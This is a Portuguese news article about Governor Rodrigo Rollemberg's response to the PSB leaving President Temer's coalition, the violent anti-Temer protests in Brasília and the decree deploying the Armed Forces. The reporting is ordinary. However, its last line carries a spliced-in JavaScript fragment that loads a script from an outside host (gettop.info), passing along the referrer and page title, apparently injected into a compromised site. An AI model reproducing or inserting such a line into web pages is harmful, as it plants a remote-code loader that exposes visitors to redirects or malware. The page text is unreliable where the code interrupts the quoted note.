Após um ano de lua de mel com o governo federal, o governador Rodrigo Rollemberg não acredita que a saída de seu partido da base de apoio do presidente Michel Temer possa trazer prejuízos para o Distrito Federal, como a paralisação de obras ou o corte de recursos da União para a capital da República.
“O governo federal tem suas obrigações com o DF. Não existe expectativa de nenhuma paralisação de obra, nenhum impacto”, disse um integrante do GDF ao Brasília Capital. “Rollemberg acompanhou a decisão do PSB. Não significa rompimento de relacionamento institucional”, avaliou.
Renúncia
O chefe do Executivo local adotou o discurso do presidente nacional do PSB, Carlos Siqueira, que sugere a renúncia de Temer “o mais rápido possível”, para “facilitar a solução” da crise vivida pelo Brasil. Mas Rollemberg não acredita que seu posicionamento, acompanhando a decisão da legenda, paralise obras bancadas com recursos da União no DF.
Ele parte do pressuposto de que a decisão do PSB no campo político não interferirá em convênios já firmados com o governo federal, como também seria impensável alguma forma de retaliação com recursos do Fundo Constitucional, que atualmente destina mais ou menos R$ 16 bilhões por ano ao DF. Trata-se, neste caso, de repasses automáticos.
Obrigações
O auxiliar de Rollemberg relembrou que o PSB já queria romper com o governo de Michel Temer. Quando houve essa percepção de que a legenda era incompatível com os rumos da administração federal, a bancada na Câmara dos Deputados ficou dividida. Mas acabou prevalecendo a decisão posterior (de afastamento) apoiada pelo governador.
“É o único partido que Rollemberg teve na vida”, afirmou o auxiliar, para realçar a condição do governador de militante histórico da legenda. Então, prevalece no Governo de Brasília a impressão de que o governo federal não terá nenhum tipo de comportamento que atropele as relações institucionais entre as duas administrações.
Exatamente por causa deste tipo postura, Rollemberg divulgou nota para reclamar da convocação das Forças Armadas para garantir a segurança durante as manifestações contra Temer, quarta-feira (24), sem que ele tenha sido comunicado. Diante da reação contrária de vários setores políticos e da administração pública, o presidente revogou o decreto no dia seguinte. A decisão duraria até quarta-feira (31).
Esplanada vira praça de guerra
Veja fotos da batalha campal ocorrida na Esplanada quarta-feira (24)
As manifestações de quarta-feira (24) em Brasília expuseram um nível de violência que acabou dominando as informações sobre o protesto contra o governo Michel Temer. Esplanada dos Ministérios transformada em praça de guerra, prédios depredados e incendiados, fumaça, confronto entre policiais e grupos de jovens com rostos cobertos. Cenas lamentadas ao vivo pelas redes sociais e pelos veículos de comunicação.
De acordo com a PM, estiveram no centro de Brasília 45 mil manifestantes, vindos de várias partes do País. Os organizadores falaram em 200 mil. Eles foram arregimentados principalmente pelo movimento sindical. Desde a noite de terça (23), cerca de mil ônibus com manifestantes, segundo a PM, saíram de vários Estados em direção a Brasília, custeados pelas centrais sindicais.
Chocante
A imagem mais dramática foi de um jovem com a mão dilacerada. Ele teria sido vítima de um rojão que queria disparar contra a polícia. De acordo com a Secretaria de Saúde, dos 49 feridos, apenas cinco são brasilienses. Ainda de acordo com a pasta, os atendimentos se concentraram nos hospitais de Base (HBB), da Asa Norte (Hran) e Universitário (HUB).
Do lado da PM, chocou a imagem de um policial atirando contra um grupo que depredava o prédio de um ministério, com bala de verdade. Um homem, cujo nome não foi divulgado, foi atendido no HBB com um tiro no rosto.
Governador repudia uso das Forças Armadas
O presidente Michel Temer, por decreto, convocou 1,5 mil militares das Forças Armadas ― Exército e Marinha (fuzileiros navais). Quando eles chegaram, a fase mais aguda da violência já havia terminado. Mas ficou a simbologia de a capital da República relembrar o tempo da ditadura militar.
Em nota, Rollemberg criticou a iniciativa do presidente e lamentou a violência registrada na quarta-feira. “Em todas as 151 manifestações realizadas nos últimos dois anos, as forças de segurança federal e distrital agiram de maneira integrada e colaborativa. Em todas as ocasiões a Polícia Militar agiu com eficácia e eficiência, demonstrando estar plenamente apta ao regular desempenho de sua missão constitucional. Eventuais excessos serão rigorosamente apurados”, diz a nota do governador.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;